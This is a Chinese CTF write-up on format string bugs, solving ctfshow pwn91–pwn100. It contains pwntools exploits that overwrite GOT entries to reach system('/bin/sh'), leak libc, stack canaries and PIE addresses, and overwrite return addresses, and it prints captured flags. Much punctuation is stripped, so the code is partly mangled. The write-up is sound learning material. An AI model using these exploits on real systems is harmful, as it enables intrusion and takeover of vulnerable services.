
首先什么是格式化字符串原理介绍 - CTF Wiki这里是百科网站这里不做搬运简单谈下自己的间接首先要了解格式化字符串就要了解格式化函数格式化函数我们就拿printf举例假如我们在printf之前首先使用的了scanf来获取用户输入printf(%s, 你的输入);这里它会输出你的输入 这里的%s就是占位作用同时作为写入模板也就是格式化字符串但是假如没有这个s呢printf(你的输入);这是十分危险的。因为这里程序直接把你的输入作为写入模板。这时候假如你输入%x,程序就会从内存中读任意一个十六进制的内容给你打印出来这就会产生信息泄露这里在维基中的例子是这样的而关于字符串格式化的利用我们最简单的方式就是写入大量的%s来阻断服务毕竟不可能栈上的任何一个地址都是有效地址。接着另一种攻击方式就是使用其他的占位符来泄露其他重要的地址比如变量的值和某个变量对应的地址。甚至于说利用got表来获得libc函数地址剩下的利用方式我们使用题目边做边学pwn91例行公事检查保护发现存在金丝雀和nx主函数调用了initlogo和ctfshow然后开始检测如果daniu6就能直接进入sh我们先看init空间释放主要流程依旧在ctfshow中这里我们就发现了一个格式化字符串程序read了s然后直接printf了没有当作格式化字符根据题目的条件我们的目标似乎就是通过s来修改daniu的值接着我们首先要确认的就是我们当前的输入在内存的哪个位置这里我们要通过A的ascii码来确定我们写入的位置至于这里为什么能顺着栈读毕竟这是32位程序。后续64位程序会有不一样的地方的【方向是向栈底方向】我们能看到这里我们在第七位【通过数0x来定位位置】这里我们确定的方法还有一种%7$x它能打印目标参数位置的内容确实是第七位关于%7$x还有剩下几种%7$x把第 7 个参数按整数打印%7$s把第 7 个参数当作“字符串地址”去读%7$n把第 7 个参数当作“写入目标地址”接着假如我们输入daniu的地址我们在第七位就能读到它接着就是daniu地址的问题这个我们能去找万能的ida发现daniu的地址是0804B038我们开始编写expfrom pwn import * context(archi386,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28234) daniu 0x0804b038 payload p32(daniu) b%2c%7$hhn io.sendline(payload) io.interactive()这里针对b%2c%7$hhn%n将当前已输出的字符数写入到指定参数所指向的地址。默认情况下写入的是一个 int类型的大小通常是 4 字节在 32 位系统中。%hn将当前已输出的字符数写入但只写入 2 字节half word。%hhn将当前已输出的字符数写入但只写入 1 字节half half word即一个字节这里的意思实际上就是在7的位置写入一个字节的内容这里我们要计算下我们现在已经写入了多少字节像是在这里32位的地址占用了4字节接着我们又写入了%2c这为我们提供了两字节的长度所以最后在目标位置写入的值就是6【%2c的意思是输出一个字符但宽度至少为 2。假如它输出了一个一宽度的字节那么它将会在字节前或者后填写一个空格保证宽度】pwn92这里看到got表只读有金丝雀开了nx同时也是动态环境发现存在example和flagishere这两个函数依次跟进example中列出了很多printf函数。我们先nc看看它到底是什么样子这里逐个分析下printf(Hello CTFshow %%\n);这里使用了%%转义来体现如何输出%puts(Hello CTFshow!);这里是正常问候语printf(Num : %d\n, 114514LL);这里期望是int但是给的数值确实lllonglong。这里所幸114514小于32字节能被int正常读取printf(%s %s\n, Format, Strings);这里是读取字符串printf(%12c\n, 65LL);这里%12c是输出一个字符最小宽度为12这里给出的是65ll所以说是11个空格加A刚好换行printf(%16s\n, Hello);这里是最小宽度12的hello原理同上printf(%12c%n\n, 65LL, v1);这里65对应12c这里不再赘述而v1则是对应\n这里是指针将目标内容写到v1所指向的目标内存printf(%16s%n\n, Hello!, v1);这里同理printf(%2$s %1$s\n, Format, Strings);这里使用了位置参数修改了format和string的位置printf(%42c%1$n\n, v1);%42c输出一个字符宽度42没有指定位置默认按顺序使用下一个可变参数即v1。它把v1当作int读取取低 8 位作为字符输出。因为v1是一个指针其低字节通常是某个值所以会输出某个不可见或可见字符。这里的效果是简单看过了它的范例这里我们来看看它读取flag是什么样子的这里就是flagishere函数我们来整理下内容首先是金丝雀函数校验这个略过接着令stream为打开的文件内容进入判断函数如果stream中没有内容则判定文件不存在退出进程接着来到fgets这里从steram读取64字节到s打印提示接着到我们输入9个宽度的字符串存储到format中打印提示语句接着来到漏洞点我们的format没有格式化限制比如我们如果直接输入%s那么程序将会输出s中的内容。接着我们直接nc利用pwn9364位开了金丝雀动态环境got表只读开了nx但是所幸题目提示是基础原理先跟进函数看看吧看来是选择类型的下面是case分类每个情况对应一个函数func1没法看c将就看汇编吧这里看出来是printf了一堆%s,这会导致栈上的很多内容被以字符串的形式输出接着看2输出8宽度的十六进制字符输出7宽度的十六进制字符剩下的都是输出指针如果跟进到这些变量的位置发现它们似乎是存储指定段权限的地方暂时先不管这些来到3这里首先输入四个A然后开始导出指针这里看起来高级实际上就是打印十六进制数值所以说我们的A依旧能被打印成0x41关于64位程序内容的传递依旧遵循先寄存器后栈的原则顺序为rsirdxrcxr8r9.后续就从栈上取了。至于几个寄存器的值不是特别重要大概率是上个函数的垃圾值接着我们来到4这里使用0填充写134512640字节的数字但是后面的有效数字是1。而%n则是将写入字节数量当作数字存储在v1中。这里v1134512640接着我们来到5这里似乎是在拿金丝雀的值做文章首先v3存储的格式为双字节这里存储了7*2字节的内容14字节用来存储它自己的字符串接下来的8字节存放金丝雀值接着前14字节就被拿来存储 hello ctfshow了带个空格刚好十四字节。后续就是金丝雀hhn将14写入v1的第一字节hn将14写入2~3字节n将14写入4~7字节ln将14从v1的第8字节写入8个字节但是这时候已经污染到栈lln将14写入v2占用8字节来到nothing还真是什么也没有跟进exit0和上一题一样的模板。但这里把那个我们能随便用的format删掉了这倒是给了我们另一种思路我们锁定到stream的位置后我们就能尝试将其按指定位置读取出来但是突然想到是动态环境这个想法是错误的等等这东西似乎是直接给flag的。。。。依旧每日小丑环节给孩子熬夜熬傻掉了这里实际上依旧是演示关卡每个case都对应一种情况。后续值得细细看这里只要选7就行了如先前所见这里实际上是各种情况的预演只要7就直接给flagpwn94这里的题目提示难度加大。先看看保护有哪些只开了nx没有禁用栈打法主函数及其简洁只调用了三个函数前两个和先前的没区别这里直接跟进ctfshow首先第一个问题printf直接打印变量buf顺着向上看这里buf是被read写入的回到第一行这里酷似金丝雀且暂时用不了memset将buf中的内容全部填充为0。这里大小指定由sizeof实现所以说这里似乎只有格式化字符串另外要注意的是这里是持续的循环调用先确定下写入位置AAAA.%p%p%p%p%p%p%p%p%p%p%p%p%p%p看来是第六位啊但是我们在左侧的函数位置中能找到sys函数它调用了system现在我们的目标就明了了首先找到这串字符串的位置然后将这里修改为/bin/sh接下来就有点束手无策了。想要修改就要调用read或者别的什么玩意而且还要修改read的内存地址。而且这里buf的大小是0x70read能写入64显然没有栈溢出这里先展示下大佬的wp接着我们来分析下为什么要这么写from pwn import * context(archi386,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28178) elf ELF(./pwn94) system_plt 0x8048400 printf_got elf.got[printf] payload fmtstr_payload(6,{printf_got:system_plt}) io.sendline(payload) io.recv() io.sendline(/bin/sh\x00) io.interactive()这里前几步我们还是比较认识的直到这个fmstr这玩意是 pwntools 提供的格式化字符串 payload 生成函数。payload fmtstr_payload(6,{printf_got:system_plt})第一个参数是我们写入的位置接下来参数对应的内容就不赘述了{printf_got:system_plt}这是一个字典作用是将printfgot的位置修改为sys_plt接着函数就会使用%n系列字符串生成向目标位置写入数据的字符串在我们发送后当函数再次执行printbufprint就会变成sys。接着我们只要在栈上写入binsh就能给sys传递对应参数而recv则是负责收集回显接着就是关于 fmtstr_payload它的使用格式是这样的fmtstr_payload(offset, writes, numbwritten0, write_sizebyte, write_size_maxlong, overflows16, no_dollarsFalse)对应的参数分别是写入位置写入目标字典在程序执行前已经输出了多少字节写入的单位长度写入的最大单位overflows则是溢出数量容忍下面详细解释nodollars则是是否不使用%7$hhn这种直接参数访问这个也是接下来细谈首先是overflows。从它的名字也能看出来这是管控溢出数量的。而管控的目标是什么首先我们知道在字符串格式化这类题型中我们想要写入东西是要依赖%n系列指令来实现的。而它写入的原理我们先前已经知道监测先前写入的字节数然后生成一字节的数字。fmtstr也是如此原理。然而当我们遇到一个较大的数值时%n显然要输出很多的内容。这里为了输出的payload字节数较少我们可以启用overflows要理解overflows关键在于fmtstr_payload内部的merge_atoms_overlapping函数。这个函数负责将多个小的、独立的写入操作称为Atom合并成更大的写入操作以减少%n系列格式符的使用数量从而缩短 payload 的总长度overflows参数的值决定了在合并过程中“允许跨越目标地址边界写入的次数”。每次合并操作都可能产生“溢出”即写入的数据超出了你指定的目标地址范围覆盖了相邻的内存。overflows就是这个“溢出”次数的上限这个参数fmt默认的非常激进默认值是16但是似乎一般情况下不用管接着是no doller在fmtstr_payload的源码中no_dollars参数的官方解释是**flag to generate the payload with or w/o notation∗∗生成带有或不带有‘notation∗∗生成带有或不带有‘ 符号的 payload 的标志例如%7$hhn这个就是在栈的第七位置写入数据这个是被glibc所允许的标准写法。而对于musllic则是完全不支持$写法的。而关于{printf_got:system_plt}实际上这就是python字典的写法。这个索引对应的内容就是将print_got替换为system_plt既然写道got和plt那就再写下这是什么首先got是存放的函数的真实地址程序运行时动态链接器会把每个外部函数的真实地址填到 GOT 表里。我们在做题是可以直接调用这个地址而plt它的全称是”过程链接表“。在一般的编程过程中我们调用函数后程序所指向的就是plt表内所存储的函数地址。以print为例假如我们在编写程序的时候这样写printf程序编译出来的指令是这样的call printfplt当然程序编译出来一定是机器码。我们能看到实际上我们的进程是去到printfplt这个位置的。而printplt长这样printfplt:jmp [printfgot] ; 从 GOT 表取出 printf 的真实地址并跳过去push 0 ; 如果还没绑定压入重定位索引jmp plt0 ; 跳到 PLT0调用动态链接器解析我们用ida反编译出来的汇编代码的地址实际上也是plt的地址这也是为什么我们在上面要那样子写字典。pwn95可写got表nx开启32位系统清理空间显示logo接着到漏洞函数金丝雀然后是一个死循环设置空内存空间然后读取用户输入接着是存在漏洞的printfbuf然后是没见过的fflushfflush(stdout)是 C 标准库函数作用是强制刷新标准输出缓冲区把缓冲区里还没真正写出去的数据立刻写到终端或文件。C 的stdio标准输入输出库不是每次调用printf都立刻把数据写到屏幕或文件而是先放进一块缓冲区等缓冲区满了、遇到换行、或者程序结束时才真正写出去。这样做是为了提高效率。当我们写printf(Hello);如果后面没有\n而且程序输出被重定向到管道或 socket这行字可能一直卡在缓冲区里直到程序结束或缓冲区满才出现而fflush(stdout);则是将当前缓冲区中所有还没上车的内容一股脑全部输出总之就是防止printf打印不出字的。似乎不是很影响我们做题然后发现这题似乎和先前的逻辑没什么区别。估计能使用上面的代码小修小改我们先继续找找sys函数然后发现找不到【】题目没有给出sys但是logo依旧是通过puts来实现的输出那我们就能使用libc来尝试获取system在这之前我们先尝试获取下写入位置AAAA.%p%p%p%p%p%p%p%p%p%p%p%p%p%p我们看到这里是第六位置from pwn import * from LibcSearcher import * context(archi386,oslinux,log_leveldebug) elfELF(D:\网安\题目附件\ctfshow pwn\pwn95) io remote(pwn.challenge.ctf.show,28304) printf_got elf.got[printf] payload1 p32(printf_got)b%6$s#打印printf地址 io.sendline(payload1) printf_addr u32(io.recvuntil(\xf7)[-4:]) libc LibcSearcher(printf,printf_addr) libc_base printf_addr - libc.dump(printf) system_addr libc_base libc.dump(system) payload2 fmtstr_payload(6,{printf_got:system_addr}) io.sendline(payload2) io.recv() io.sendline(/bin/sh\x00) io.interactive()这里遇到了和师傅们一样的问题远程没有一个libc能跑通的没招了就先这样吧pwn96还是和上一题一样的配置这里直接把logo的输出并进来的看着怪唬人的关键的在这里是读取文件类型的。这里在进行文件存在判定后将文件内容从stream写到了v3.接着进入循环先打印提示然后将键盘标准输入写入s中然后是print的漏洞s这里我们只需要将s 的内存地址换成v3的。没记错ctfwiki有这种打法。但是经过高人指点发现这里把全部流程放到一个函数中的用意就是要我们在一个栈上操作。假如我们%p够多就能直接将flag拿下emmmmr想简单了。这里还需要我们转化下回到栈的分布这里我们发现最后的两个是s和v3接下来就是截取了。保证p足够多就能把整个栈按顺序爬下来我们写一个解码脚本from pwn import * nums [ 0x40, 0xf7f5b5c0, 0xf7f72fcb, 0x73667463, 0x7b776f68, 0x34333462, 0x64353137, 0x3061642d, 0x30342d34, 0x392d3731, 0x2d373030, 0x62643432, 0x66313065, 0x32353233, 0xa7d, 0xf7f90000, 0x41414141, 0x2570252e, 0x25702570, 0x25702570, 0x25702570, 0x25702570, 0x25702570, ] data b.join(p32(x) for x in nums) print(原始字节串, data)这边不用算也有无脑的办法直接把整个栈全部转换掉然后各取所需就行pwn97金丝雀和nxgot可写单看主函数这里做了输入判断首先我们会在s中输入内容然后判断我们输入中如果不带有cat /ctfshow_flag就put标识并进入printf的格式化字符串。接着进入getflag函数经过校验后输出语句并跳转到flag函数flag函数是读取然后存放到s中。那么我们的目的就是让函数执行到flag我们正常输入就能获得漏洞使用权。但问题是check的校验这东西是个变量。如果不把它写成0我们就进不到flag那么我们的目标就是将check的值改写成0老规矩测参数位置这里我们发现位置是第十一位from pwn import * context(archi386,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28178) check_addr 0x804B040 payload fmtstr_payload(11,{check_addr:1}) io.sendline(payload) io.interactive()直接把值换掉就行了pwn98熟悉的配置跟进ctfshow金丝雀然后是get和printf这里存在漏洞不管是栈溢出还是格式化字符串。这里估计目的是想让我们用printf把金丝雀的值爆出来然后通过栈溢出来获取flag首先栈溢出量为0x344。然后print和get都在一个缓冲区先爆它一版出来然后拉去96的脚本解码好吧不太现实这里要想爆就得写0x34个然后产生的结果还不好分开工作量有点大金丝雀的特征值是尾部的00那么我们只要一个一个的看就能找到金丝雀的值而sys这里是给出的080486CE而我们逐个检测的方法是%x$p在15位发现金丝雀0x32d6ff00接着就是写脚本了我们首先确定下金丝雀位置varc就是金丝雀所以说在0xc或者能更简单的看v2也就是ch就是金丝雀的位置from pwn import * context(archi386,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28217) backdoor 0x80486CE io.recv() io.sendline(b%15$p) canaryint(io.recv(),16) payload bA * (0x34-0xC) payload p32(canary) payload bB * 0xC payload p32(backdoor) io.sendline(payload) io.interactive()这里金丝雀占四字节只要写完金丝雀后只要补齐c就行了这里金丝雀位置不能直接套用的原因是还存在一个变量pwn99我的天哪格式化字符串大人起码现在我们知道它是格式化字符串。而且盲打可能不会太难我们先nc下看看情况提示flag在栈上而且以你也想起舞吗作为结尾语。那么现在的目标就很简单了。想办法把它的整个栈爬下来。另外我们注意到这里的每个栈空间都很长基本上是原先的一倍。应该是64位了现在我的代码水平相当菜鸡这里搬运下大佬的脚本from pwn import * context(oslinux, archamd64, log_levelerror) HOST pwn.challenge.ctf.show PORT 28177 def hex_to_le_ascii(hex_str): if not hex_str.startswith(0x): return try: val int(hex_str, 16) raw p64(val) # 64位小端 vis .join(chr(b) if 32 b 126 else . for b in raw) return vis except: return for i in range(1, 101): try: io remote(HOST, PORT) io.recv(timeout0.5) payload f%{i}$p.encode() io.sendline(payload) data io.recvall(timeout1).decode(errorsignore).strip() io.close() line data.splitlines()[-2] if お前も舞うか? in data and len(data.splitlines()) 2 else data.splitlines()[-1] line line.strip() if line.startswith(0x): ascii_part hex_to_le_ascii(line) print(f[{i:03d}] {line:18} - {ascii_part}) else: print(f[{i:03d}] {line}) except Exception as e: print(f[{i:03d}] ERROR: {e})总体逻辑就是for依次使用%x$p查询直到接收到结尾语。然后按字节解码出来这里的脚本值得研究下必可活用于下次ctfshow{W0w_y0u_cn_r311y_dnce!}pwn100全开说是开局金丝雀然后继续向下分析initial(argc, argv, envp);跟进函数fd存储了一个文件这个在查询后发现是伪随机数生成器会返回一段随机数据接着就是把fd的值传入close这会关闭一个函数描述符。这里似乎和咱们的题目关系不大先不继续分析了接着是等待然后进入三个死循环嵌套menu给了四个选项应该是做了类似case的效果接着是跟进get从标准输入读取最多 15 个字符将其作为字符串转换成整数返回。这里开始做case效果‘然而v5不等于2就会跳出当前循环接着进入fmt这里发现存在字符串格式化但是在这之前会对a1校验。a11后进入漏洞区先继续选3跳出循环直接进行getflag这里首先写入s2然后对s2和secret进行校验比较64字节校验通过进入读取flag进入s2后被打印然而这里secret是变量结合上面我们应该是要修改这里的内容让我们的的输入与它相同这时候我们发现忽视了函数leak这里似乎是写一字节进入buf现在先不管保护我们的大体思路是这样的想办法把s2修改然后调用2输入指定值获取flag但是fmt只能使用一次用完还不好出来回到函数我们发现控制fmt次数的是a1也就是v3那么只要我们每次用完fmt都重置a1的数值就能实现多次使用我们先gdb看下选2然后查证哪个是v3给出八个地址挨个试试发现是第七个所以我们这边只要在payload前边先写个b’%7$n’就能直接写入0接着我们通过call来反推basecall的返回地址是下一条指令所以说地址确定为102c接着依次尝试发现17最符合elf_base %17$p - 0x102C接着我们对栈分析下高地址 ──────────────────────────────────────────── [F0x08] fmt_attack saved RIP ← 目标返回地址槽 内容 main0x76 elf_base0x102c [F0x00] fmt_attack saved RBP 内容 main 的 rbp [F-0x08] canary [F-0x10] 可能的对齐/临时区域 [F-0x18] 可能的对齐/临时区域 [F-0x20] 可能的对齐/临时区域 [F-0x28] 某个栈上的参考位置 [F-0x30] ... [F-0x40] buf 开始附近 ... ──────────────────────────────────────────── 低地址ret_addr%16$p-0x28接着写expfrom pwn import * context(archamd64,oslinux,log_leveldebug) elf ELF(./pwn100) io remote(pwn.challenge.ctf.show, 28295) def fmt(io, s: bytes): io.sendlineafter(b, b2) io.sendline(s) def parse_after(io, delim: bytes) - int: io.recvuntil(delim) return int(io.recvline().strip(), 16) io.sendlineafter(bWhat time is it :, b1 1 1) fmt(io, b%7$n!%17$p) code_ref parse_after(io, b!) pie code_ref - 0x102c target pie 0xf56 fmt(io, b%7$n|%16$p) stack_ref parse_after(io, b|) ret_slot stack_ref - 0x28 want target 0xffff payload f%{want}c%10$hn.encode().ljust(0x10, bB) p64(ret_slot) fmt(io, payload) io.interactive()拆出来ctfshow{e29a5058-26db-43c4-96c3-b6c61fa6a501}